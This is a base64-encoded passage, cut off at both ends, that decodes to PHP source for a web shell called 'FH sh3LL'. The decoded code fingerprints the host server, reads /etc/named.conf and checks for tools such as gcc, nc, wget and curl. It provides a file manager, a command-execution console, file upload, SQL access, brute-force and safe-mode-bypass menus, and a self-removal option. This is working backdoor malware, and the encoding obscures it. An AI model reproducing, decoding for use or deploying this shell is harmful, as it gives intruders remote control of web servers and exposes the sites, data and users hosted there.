AgICAgICAgJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsKICAgICAgICBwY2xvc2UoJGYpOwogICAgfQogICAgcmV0dXJuICRvdXQ7Cn0KCmZ1bmN0aW9uIHdoaWNoKCRwKSB7CiAgICAkcGF0aCA9IGV4KCd3aGljaCAnLiRwKTsKICAgIGlmKCFlbXB0eSgkcGF0aCkpCiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBwcmludEhlYWRlcigpIHsKICAgIGlmKGVtcHR5KCRfUE9TVFsnY2hhcnNldCddKSkKICAgICAgICAkX1BPU1RbJ2NoYXJzZXQnXSA9ICJVVEYtOCI7CiAgICBnbG9iYWwgJGNvbG9yOwogICAgCiAgICBlY2hvICc8aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD0nLiRfUE9TVFsnY2hhcnNldCddLiciPjx0aXRsZT5GSCBzaDNMTDwvdGl0bGU+CiAgICAKICAgIDxzdHlsZT4KICAgICAgICBib2R5IHtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7Y29sb3I6I2ZmZjt9CiAgICAgICAgYm9keSx0ZCx0aCAgICB7IGZvbnQ6IDlwdCBMdWNpZGEsVmVyZGFuYTttYXJnaW46MDt2ZXJ0aWNhbC1hbGlnbjp0b3A7IH0KICAgICAgICBzcGFuLGgxLGEgICAgeyBjb2xvcjonLiRjb2xvci4nICFpbXBvcnRhbnQ7IH0KICAgICAgICBzcGFuICAgICAgICB7IGZvbnQtd2VpZ2h0OiBib2xkZXI7IH0KICAgICAgICBoMSAgICAgICAgICAgIHsgcGFkZGluZzogMnB4IDVweDtmb250OiAxNHB0IFZlcmRhbmE7bWFyZ2luOjBweCAwIDAgNXB4OyB9CiAgICAgICAgZGl2LmNvbnRlbnQgICAgeyBwYWRkaW5nOiA1cHg7bWFyZ2luOjAgNXB4O2JhY2tncm91bmQ6ICMzMzMzMzM7Ym9yZGVyLWJvdHRvbTo1cHggc29saWQgIzQ0NDt9CiAgICAgICAgYSAgICAgICAgICAgIHsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0KICAgICAgICBhOmhvdmVyICAgICAgICB7IC8qYmFja2dyb3VuZDojNWU1ZTVlOyovIH0KICAgICAgICAubWwxICAgICAgICB7IGJvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQogICAgICAgIC5iaWdhcmVhICAgIHsgd2lkdGg6MTAwJTtoZWlnaHQ6MjUwcHg7bWFyZ2luLXRvcDo1cHg7fQogICAgICAgIGlucHV0LCB0ZXh0YXJlYSwgc2VsZWN0ICAgIHsgbWFyZ2luOjA7Y29sb3I6IzAwZmYwMDtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAnLiRjb2xvci4nOyBmb250OiA5cHQgTW9ub3NwYWNlLCJDb3VyaWVyIE5ldyI7IH0KICAgICAgICBpbnB1dFt0eXBlPSJidXR0b24iXTpob3ZlcixpbnB1dFt0eXBlPSJzdWJtaXQiXTpob3ZlciB7YmFja2dyb3VuZC1jb2xvcjonLiRjb2xvci4nO2NvbG9yOiMwMDA7fSAKICAgICAgICBmb3JtICAgICAgICB7IG1hcmdpbjowcHg7IH0KICAgICAgICAjdG9vbHNUYmwgICAgeyB0ZXh0LWFsaWduOmNlbnRlcjsgfQogICAgICAgIC50b29sc0lucCAgICB7IHdpZHRoOiA4MCU7IH0KICAgICAgICAubWFpbiB0aCAgICB7dGV4dC1hbGlnbjpsZWZ0O2JhY2tncm91bmQtY29sb3I6IzU1NTtmb250LXdlaWdodDogYm9sZDt9CiAgICAgICAgLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlO30KICAgICAgICAubWFpbiB0ZCwgdGh7dmVydGljYWwtYWxpZ246bWlkZGxlO30KICAgICAgICAubWVudSB7YmFja2dyb3VuZDogIzMzMzt9CiAgICAgICAgLm1lbnUgdGh7cGFkZGluZzo1cHg7Zm9udC13ZWlnaHQ6Ym9sZDt9CiAgICAgICAgLm1lbnUgdGg6aG92ZXJ7YmFja2dyb3VuZDojNDQ0O30KICAgICAgICAubDEge2JhY2tncm91bmQtY29sb3I6IzQ0NDt9CiAgICAgICAgcHJlIHtmb250LWZhbWlseTpDb3VyaWVyLE1vbm9zcGFjZTt9CiAgICAgICAgI2NvdF90bF9maXhlZHtwb3NpdGlvbjpmaXhlZDtib3R0b206MHB4O2ZvbnQtc2l6ZToxMnB4O2xlZnQ6MHB4O3BhZGRpbmc6NHB4IDA7Y2xpcDpfdG9wOmV4cHJlc3Npb24oZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LnNjcm9sbFRvcCtkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuY2xpZW50SGVpZ2h0LXRoaXMuY2xpZW50SGVpZ2h0KTtfbGVmdDpleHByZXNzaW9uKGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zY3JvbGxMZWZ0ICsgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsaWVudFdpZHRoIC0gb2Zmc2V0V2lkdGgpO30KICAgICAgICAubG9nbyB7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1zaXplOjYwcHg7fQogICAgICAgIC5sb2dvIHN1cCB7Zm9udC1zaXplOiAxNXB4O3ZlcnRpY2FsLWFsaWduOiB0b3A7bWFyZ2luLWxlZnQ6IC0xNHB4O30KICAgICAgICAuY3ByIHttYXJnaW4tYm90dG9tOjVweDtmb250LXdlaWdodDpib2xkO30KICAgICAgICAuY3BiIHt3aWR0aDozNHB4O21hcmdpbjowIDVweDt9CiAgICAgICAgLmVjYTEge2ZvbnQtc2l6ZTogMTZweDtmb250LXdlaWdodDogYm9sZDtsZXR0ZXItc3BhY2luZzogMTBweDttYXJnaW46IDAgMnB4IDAgMTdweDt0ZXh0LWFsaWduOiBjZW50ZXI7fQogICAgICAgIC5lY2EyIHtmb250LXNpemU6IDEzcHg7Zm9udC13ZWlnaHQ6IGJvbGQ7bGV0dGVyLXNwYWNpbmc6IDNweDttYXJnaW46IDAgMnB4IDAgN3B4O3RleHQtYWxpZ246IGNlbnRlcjt9CiAgICAgICAgLm5wb2FkIHRkIHtwYWRkaW5nOjA7fQogICAgPC9zdHlsZT4KICAgIDxzY3JpcHQ+CiAgICAgICAgZnVuY3Rpb24gc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CiAgICAgICAgICAgIGlmKGEgIT0gbnVsbClkb2N1bWVudC5tZi5hLnZhbHVlPWE7CiAgICAgICAgICAgIGlmKGMgIT0gbnVsbClkb2N1bWVudC5tZi5jLnZhbHVlPWM7CiAgICAgICAgICAgIGlmKHAxICE9IG51bGwpZG9jdW1lbnQubWYucDEudmFsdWU9cDE7CiAgICAgICAgICAgIGlmKHAyICE9IG51bGwpZG9jdW1lbnQubWYucDIudmFsdWU9cDI7CiAgICAgICAgICAgIGlmKHAzICE9IG51bGwpZG9jdW1lbnQubWYucDMudmFsdWU9cDM7CiAgICAgICAgICAgIGlmKGNoYXJzZXQgIT0gbnVsbClkb2N1bWVudC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXQ7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGcoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKICAgICAgICAgICAgc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKICAgICAgICAgICAgZG9jdW1lbnQubWYuc3VibWl0KCk7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKICAgICAgICAgICAgc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKICAgICAgICAgICAgdmFyIHBhcmFtcyA9ICJhamF4PXRydWUiOwogICAgICAgICAgICBmb3IoaT0wO2k8ZG9jdW1lbnQubWYuZWxlbWVudHMubGVuZ3RoO2krKykKICAgICAgICAgICAgICAgIHBhcmFtcyArPSAiJiIrZG9jdW1lbnQubWYuZWxlbWVudHNbaV0ubmFtZSsiPSIrZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50Lm1mLmVsZW1lbnRzW2ldLnZhbHVlKTsKICAgICAgICAgICAgc3IoIicuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uJyIsIHBhcmFtcyk7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIHNyKHVybCwgcGFyYW1zKSB7ICAgIAogICAgICAgICAgICBpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0KSB7CiAgICAgICAgICAgICAgICByZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKICAgICAgICAgICAgICAgIHJlcS5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBwcm9jZXNzUmVxQ2hhbmdlOwogICAgICAgICAgICAgICAgcmVxLm9wZW4oIlBPU1QiLCB1cmwsIHRydWUpOwogICAgICAgICAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIgKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7CiAgICAgICAgICAgICAgICByZXEuc2VuZChwYXJhbXMpOwogICAgICAgICAgICB9IAogICAgICAgICAgICBlbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkgewogICAgICAgICAgICAgICAgcmVxID0gbmV3IEFjdGl2ZVhPYmplY3QoIk1pY3Jvc29mdC5YTUxIVFRQIik7CiAgICAgICAgICAgICAgICBpZiAocmVxKSB7CiAgICAgICAgICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7CiAgICAgICAgICAgICAgICAgICAgcmVxLm9wZW4oIlBPU1QiLCB1cmwsIHRydWUpOwogICAgICAgICAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOwogICAgICAgICAgICAgICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gcHJvY2Vzc1JlcUNoYW5nZSgpIHsKICAgICAgICAgICAgaWYoIChyZXEucmVhZHlTdGF0ZSA9PSA0KSApCiAgICAgICAgICAgICAgICBpZihyZXEuc3RhdHVzID09IDIwMCkgewogICAgICAgICAgICAgICAgICAgIC8vYWxlcnQocmVxLnJlc3BvbnNlVGV4dCk7CiAgICAgICAgICAgICAgICAgICAgdmFyIHJlZyA9IG5ldyBSZWdFeHAoIihcXGQrKShbXFxTXFxzXSopIiwgIm0iKTsKICAgICAgICAgICAgICAgICAgICB2YXIgYXJyPXJlZy5leGVjKHJlcS5yZXNwb25zZVRleHQpOwogICAgICAgICAgICAgICAgICAgIGV2YWwoYXJyWzJdLnN1YnN0cigwLCBhcnJbMV0pKTsKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICBlbHNlIGFsZXJ0KCJSZXF1ZXN0IGVycm9yISIpOwogICAgICAgIH0KICAgIDwvc2NyaXB0PgogICAgPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTt0b3A6MDtsZWZ0OjA7Ij48ZGl2IHN0eWxlPSJtYXJnaW46NXB4O2JhY2tncm91bmQ6IzQ0NDsiPjxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0eWxlPSJib3JkZXItdG9wOjVweCBzb2xpZCAjNDQ0OyI+Cgk8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSJkaXNwbGF5Om5vbmU7Ij4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2EnXSk/JF9QT1NUWydhJ106JycpLiciPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ3AxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJykuJyI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDIgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsncDInXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10pOicnKS4nIj4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMyB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydwMyddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSk6JycpLiciPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+CiAgICA8L2Zvcm0+JzsKICAgICRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOwogICAgJHRvdGFsU3BhY2UgPSBAZGlza190b3RhbF9zcGFjZSgkR0xPQkFMU1snY3dkJ10pOwogICAgJHRvdGFsU3BhY2UgPSAkdG90YWxTcGFjZT8kdG90YWxTcGFjZToxOwogICAgJGRpc2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiAgICAkcmVsZWFzZSA9IEBwaHBfdW5hbWUoJ3InKTsKICAgICRrZXJuZWwgPSBAcGhwX3VuYW1lKCdzJyk7CiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsKICAgICAgICAkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CiAgICAgICAgJHVpZCA9IEBnZXRteXVpZCgpOwogICAgICAgICRnaWQgPSBAZ2V0bXlnaWQoKTsKICAgICAgICAkZ3JvdXAgPSAiPyI7CiAgICB9IGVsc2UgewogICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk7CiAgICAgICAgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAcG9zaXhfZ2V0ZWdpZCgpKTsKICAgICAgICAkdXNlciA9ICR1aWRbJ25hbWUnXTsKICAgICAgICAkdWlkID0gJHVpZFsndWlkJ107CiAgICAgICAgJGdyb3VwID0gJGdpZFsnbmFtZSddOwogICAgICAgICRnaWQgPSAkZ2lkWydnaWQnXTsKICAgIH0KICAgICRjd2RfbGlua3MgPSAnJzsKICAgICRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7CiAgICAkbj1jb3VudCgkcGF0aCk7CiAgICBmb3IoJGk9MDskaTwkbi0xOyRpKyspIHsKICAgICAgICAkY3dkX2xpbmtzIC49ICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7CiAgICAgICAgZm9yKCRqPTA7JGo8PSRpOyRqKyspCiAgICAgICAgICAgICRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsKICAgICAgICAkY3dkX2xpbmtzIC49ICJcIiknPiIuJHBhdGhbJGldLiIvPC9hPiI7CiAgICB9CiAgICAkY2hhcnNldHMgPSBhcnJheSgnVVRGLTgnLCAnV2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4NjYnKTsKICAgICRvcHRfY2hhcnNldHMgPSAnJzsKICAgIGZvcmVhY2goJGNoYXJzZXRzIGFzICRpdGVtKQogICAgICAgICRvcHRfY2hhcnNldHMgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0ZW0uJyIgJy4oJF9QT1NUWydjaGFyc2V0J109PSRpdGVtPydzZWxlY3RlZCc6JycpLic+Jy4kaXRlbS4nPC9vcHRpb24+JzsKICAgICRtID0gYXJyYXkoJ1tTZUMuIEluZm9dJz0+J1NlQ0luZm8nLCdbRmlsZVNdJz0+J0ZpbGVzTWFuJywnW0NvblNvbGVdJz0+J0NvbnNvbGUnLCdbU1FMXSc9PidTUUwnLCdbUEhQXSc9PidQSFAnLCdbQllwYXNzZVJdJz0+J1NhZmVNb2RlJywnW1NhRmUgTW9EZV0nPT4nQnlwYXNzJywnW1N0cmluRyBUb29sc10nPT4nU3RyaW5nVG9vbHMnLCdbQnJ1dGVGb3JjZV0nPT4nQnJ1dGVmb3JjZScsJ1tOZXRXb3JrXSc9PidOZXR3b3JrJywnW1JlYWRhQmxlIERpcnNdJz0+J1JlYWRhYmxlJywnW1NZbWxpbmtdJz0+J1NZbWxpbmsnKTsKICAgIGlmKCFlbXB0eSgkR0xPQkFMU1snYXV0aF9wYXNzJ10pKQogICAgJG1bJ1tTZWxmS2lsbF0nXSA9ICdTZWxmUmVtb3ZlJzsKICAgICRtWydbTG9nT3V0XSddID0gJ0xvZ291dCc7CiAgICAkbWVudSA9ICcnOwogICAgZm9yZWFjaCgkbSBhcyAkayA9PiAkdikKICAgICAgICAkbWVudSAuPSAnPHRoPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCcnLiR2LidcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC9hPjwvdGg+JzsKICAgICRkcml2ZXMgPSAiIjsKICAgIGlmICgkR0xPQkFMU1snb3MnXSA9PSAnd2luJykgewogICAgICAgIGZvcmVhY2goIHJhbmdlKCdhJywneicpIGFzICRkcml2ZSApewogICAgICAgICAgICBpZiAoaXNfZGlyKCRkcml2ZS4nOlxcJykpCiAgICAgICAgICAgICAgICAkZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7CiAgICAgICAgfQogICAgICAgICRkcml2ZXMgLj0gJzxiciAvPjogJzsKICAgIH0KICAgIGlmKCRHTE9CQUxTWydvcyddID09ICduaXgnKSB7CiAgICAgICAgJGRvbWluaW9zID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsKICAgICAgICBpZighJGRvbWluaW9zKSB7CiAgICAgICAgICAgICRkMGMgPSAiQ0FOVCBSRUFEIG5hbWVkLmNvbmYiOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIEBwcmVnX21hdGNoX2FsbCgnLy4qP3pvbmUgIiguKj8pIiB7LycsICRkb21pbmlvcywgJG91dCk7CiAgICAgICAgICAgICRvdXQgPSBzaXplb2YoYXJyYXlfdW5pcXVlKCRvdXRbMV0pKTsKICAgICAgICAgICAgJGQwYyA9ICRvdXQuIiAgRG9tYWlucyI7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICAkZDBjID0gIiAtLS0gIjsKICAgIH0KICAgIGlmKCRHTE9CQUxTWydvcyddID09ICduaXgnICkKICAgIHsKICAgICAgICAkdXNlZmwgPSAnJzsgJGR3bmxkciA9ICcnOwogICAgICAgIGlmKCFAaW5pX2dldCgnc2FmZV9tb2RlJykpIHsKICAgICAgICAgICAgJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppcDInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7CiAgICAgICAgICAgIGZvcmVhY2goJHVzZXJmdWwgYXMgJGl0ZW0pIHsgaWYod2hpY2goJGl0ZW0pKSAkdXNlZmwuPSAkaXRlbS4nLCc7IH0KICAgICAgICAgICAgCiAgICAgICAgICAgICRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0JywnbHdwLW1pcnJvcicpOwogICAgICAgICAgICBmb3JlYWNoKCRkb3dubG9hZGVycyBhcyAkaXRlbTIpIHsgaWYod2hpY2goJGl0ZW0yKSkgJGR3bmxkci49ICRpdGVtMi4nLCc7IH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdXNlZmwgPSAnIC0tLS0tLS0gJzsgJGR3bmxkciA9ICcgLS0tLS0tLSAnOwogICAgICAgIH0KICAgIH0gZWxzZSB7IAogICAgICAgICR1c2VmbCA9ICcgLS0tLS0tLSAnOyAkZHdubGRyID0gJyAtLS0tLS0tICc7CiAgICB9IAogICAgZWNobyAnCiAgICAgICAgICA8dGFibGUgY2xhc3M9ImluZm8iIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjEwMCUiPjx0cj48dGQgd2lkdGg9IjAxcHgiPjwvdGQ+CiAgICAgICAgICA8dGQ+PHRhYmxlIGNlbGxwYWRkaW5nPSIyIiBjZWxsc3BhY2luZz0iMCIgY2xhc3M9Im5wb2FkIj48dHI+PHRkIHdpZHRoPSIyMHB4OyI+PHNwYW4+VW5hbWU8L3NwYW4+PC90ZD48dGQ+OiA8bm9icj4nLnN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkuJzwvbm9icj48L3RkPjwvdHI+IAogICAgICAgICAgPHRyPjx0ZD48c3Bhbj5Vc2VyOjwvc3Bhbj48L3RkPjx0ZD46ICcuJHVpZC4nICggJy4kdXNlci4nICkgPHNwYW4+R3JvdXA6IDwvc3Bhbj4gJy4kZ2lkLicgKCAnLiRncm91cC4nICk8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj5TZXJ2ZXI8L3NwYW4+PC90ZD48dGQ+OiAnLkBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpLic8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj4nLigkR0xPQkFMU1snb3MnXSA9PSAnd2luJz8nRHJpdmVzPGJyIC8+Q3dkJzonQ3dkJykuJzwvc3Bhbj48L3RkPjx0ZD46ICcuJGRyaXZlcy4nJy4kY3dkX2xpbmtzLicgJy52aWV3UGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10pLicgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kR0xPQkFMU1snaG9tZV9jd2QnXS4nXCcsXCdcJyxcJ1wnLFwnXCcpIj5bIGhvbWUgXTwvYT48L3RkPjwvdHI+PC90YWJsZT48L3RkPicuCiAgICAgICAgICc8dGQgd2lkdGg9MSBhbGlnbj1yaWdodD4mbmJzcCZuYnNwPG5vYnI+PHNwYW4+Jm5ic3AmbmJzcFNlcnZlciBJUCAgPC9zcGFuPjxicj48c3Bhbj5DbGllbnQgSVA8L3NwYW4+PGJyIC8+PHNwYW4+SEREOiAnLnZpZXdTaXplKCR0b3RhbFNwYWNlKS4nIHx8IEZyZWU6Jy52aWV3U2l6ZSgkZnJlZVNwYWNlKS4nIDwvc3Bhbj48YnIgLz48c3Bhbj5QSFAgOiAgPC9zcGFuPjxiciAvPjxzcGFuPlNhZmUgTW9kZTwvc3Bhbj48YnIgLz48L25vYnI+PC90ZD4nLgogICAgICAgICAnPHRkPjxub2JyPjogJy5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuJzxicj46ICcuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uJzxiciA+ICAoJy4oaW50KSgkZnJlZVNwYWNlLyR0b3RhbFNwYWNlKjEwMCkuJyUpPGJyPjogJy5AcGhwdmVyc2lvbigpLicgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdQaHBcJyxudWxsLG51bGwsXCdpbmZvXCcpIj5bIHBocGluZm8gXTwvYT48YnIgLz46ICcuKCRHTE9CQUxTWydzYWZlX21vZGUnXT8nPGZvbnQgY29sb3I9cmVkPk9OPC9mb250Pic6Jzxmb250IGNvbG9yPScuJGNvbG9yLic8Yj5PRkY8L2I+PC9mb250PicpLic8YnIgLz48L25vYnI+PC90ZD48L3RyPjwvdGFibGU+Jy4KICAgICAgICAgJzwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9Im1hcmdpbjo1O2JhY2tncm91bmQ6IzQ0NDsiPjxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0eWxlPSJib3JkZXItdG9wOjVweCBzb2xpZCAjNDQ0O3BhZGRpbmc6MnB4OyI+PHRhYmxlIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjEwMCUiIGNsYXNzPSJtZW51Ij48dHI+Jy4kbWVudS4nPC90cj48L3RhYmxlPjwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9Im1hcmdpbjo1O2JhY2tncm91bmQ6IzQ0NDsiPic7Cn0KCgpmdW5jdGlvbiBwcmludEZvb3RlcigpIHsKICAgICRpc193cml0YWJsZSA9IGlzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSk/Ijxmb250IGNvbG9yPWdyZWVuPlsgV3JpdGVhYmxlIF08L2ZvbnQ+IjoiPGZvbnQgY29sb3I9cmVkPlsgTm90IHdyaXRhYmxlIF08L2ZvbnQ+IjsKCmVjaG8gJzwvZGl2PjxkaXYgc3R5bGU9Im1hcmdpbjo1cHg7YmFja2dyb3VuZDojNDQ0OyI+PGRpdiBjbGFzcz0iY29udGVudCIgc3R5bGU9ImJvcmRlci10b3A6NXB4IHNvbGlkICM0NDQ7Ij4KPHRhYmxlIGNsYXNzPSJpbmZvIiBpZD0idG9vbHNUYmwiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjEwMCUiPgogICAgPHRyPgogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+Q2hhbmdlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48L3RkPgogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLHRoaXMuZi52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+UmVhZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PC90ZD4KICAgIDwvdHI+CiAgICA8dHI+CiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PSJnKFwnRmlsZXNNYW5cJyxudWxsLFwnbWtkaXJcJyx0aGlzLmQudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPk1ha2UgZGlyOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+Jy4kaXNfd3JpdGFibGUuJzwvdGQ+CiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PSJnKFwnRmlsZXNUb29sc1wnLG51bGwsdGhpcy5mLnZhbHVlLFwnbWtmaWxlXCcpO3JldHVybiBmYWxzZTsiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPicuJGlzX3dyaXRhYmxlLic8L3RkPgogICAgPC90cj4KICAgIDx0cj4KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoXCdDb25zb2xlXCcsbnVsbCx0aGlzLmMudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPkV4ZWN1dGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSIiPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48L3RkPgogICAgICAgIDx0ZD48Zm9ybSBtZXRob2Q9InBvc3QiIEVOQ1RZUEU9Im11bHRpcGFydC9mb3JtLWRhdGEiPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9IkZpbGVzTUFuIj4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0idXBsb2FkRmlsZSI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5h